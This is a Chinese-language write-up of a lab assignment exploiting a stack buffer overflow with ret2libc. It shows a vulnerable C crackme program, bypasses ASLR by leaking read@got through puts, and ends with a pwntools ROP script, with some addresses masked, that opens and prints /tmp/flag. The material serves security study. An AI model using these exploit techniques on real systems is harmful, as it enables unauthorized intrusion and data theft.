注:感谢这位大佬的帮忙,没有他我估计还在github里面或者其他博客里面瞎找小雨aaa
Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。
在本次作业中,目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>void start() {printf("IOLI Crackme Level 0x00\n");printf("Password:");char buf[64];memset(buf, 0, sizeof(buf));read(0, buf, 256);if (!strcmp(buf, "250382"))printf("Password OK :)\n");elseprintf("Invalid Password!\n");
}int main(int argc, char *argv[]) {setreuid(geteuid(), geteuid());setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF,0);start();return 0;
}
好吧,这里跟第一篇其实是一样的,不过这一次我们会尝试绕过ASLR,众所周知,对于一个系统函数而言,如果他打算调用一个函数的话,他会进行以下步骤:
一个比较直观可以看出地址随机化的方式,是去查看它的库函数位置变化,具体的话可以看看下图:

具体细节可以去看这篇文章聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT,而对于ASLR而言,其实变化的只有最后一步,因而在这里,只要能够找到正确的GOT位置,就能用上一次几乎一模一样的代码,完成本次攻击。
更加直观的方法可以通过调试程序的方法来查看,在这里,通过安装了pwndbg插件和peda的gdb来对程序进行调试:
注意,gdb调试的时候,默认ASLR是关闭的,导致我很长时间都没搞懂他到底变了什么东西,在这里打开ASLR:

然后进行调试,disass找到start函数的位置:

记下这个地址,不过这里并不是我们应该关注的内容,现在应该是找到puts函数(为了打印出read@got指向的内容,然后通过这个地址,找到其他函数的地址)
可以看到puts@plt的地址是0x8049070:

如果各位有兴趣的话可以多去尝试几次,可以很清楚地看到,这个地址应该是不会变的。
如果我们想要看到更多关于plt和got的内容,我们可以继续查看此处的汇编,我们可以很清楚地看到他具体的调用方式:
还是可以多去尝试几次,最后一处出现的地址(在这里是4158026976)是会随时发生变化的,可以多尝试去观察一下,在这里,他就是puts函数在libc中的真正位置。
那么,既然得出了这个结论,便要去付诸实践,将这个地址通过程序,自动地读出来,这里使用的代码是:
payload2 += p32(putsplt)#调用puts函数
payload2 += p32(PR)
payload2 += p32(readgot)#打印readgot指向的字符串
关于如何读出readgot,其实和读出putsgot的方式是一模一样的,但这里可以再复读一边:

其实这里就是把readgot指向的内容通过puts的方式打印在屏幕上(当然,肯定会是一坨乱码),然后通过这些命令把它读成地址:
p.recvuntil("!\n")
leak=p.recv(4)
readAddr=int.from_bytes(leak,"little")
这样,Read函数的地址就被自动的封装在程序中了。在后续的部分,通过地址偏移求出其他函数的地址,复读上一次的程序,便可以轻松的完成本次作业内容了,代码样例如下:
from pwn import *
p = process("./stack2")PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********#可以查看上一篇这么找到的POP RETURN以及POP POP RETURN地址num=*#参考上一篇
payload = b'A' * num
payload2 =b'A' * numputplt=********#putplt的地址
readgot=********#readgot的地址
payload2 += p32(putplt)
payload2 += p32(PR)
payload2 += p32(readgot)#main
payload2 += p32(*******)#main函数的地址,这里是为了让程序再来一遍p.sendline(payload2)p.recvuntil("!\n")
leak=p.recv(4)
readAddr=int.from_bytes(leak,"little")openAddr=0x********-0x********+readAddr
writeAddr=0x********-0x********+readAddr
exitAddr=0x********-0x********+readAddr
#这里*内容是上一次中间的各个函数和read函数的偏移值
#read
payload += p32(readAddr)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)#open
payload += p32(openAddr)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)#read
payload += p32(readAddr)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)#write
payload += p32(writeAddr)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(5)#exit
payload += p32(exitAddr)
payload += p32(0xdeadbeef)
payload += p32(1)p.sendline(payload)
p.interactive()
按照要求填入即可。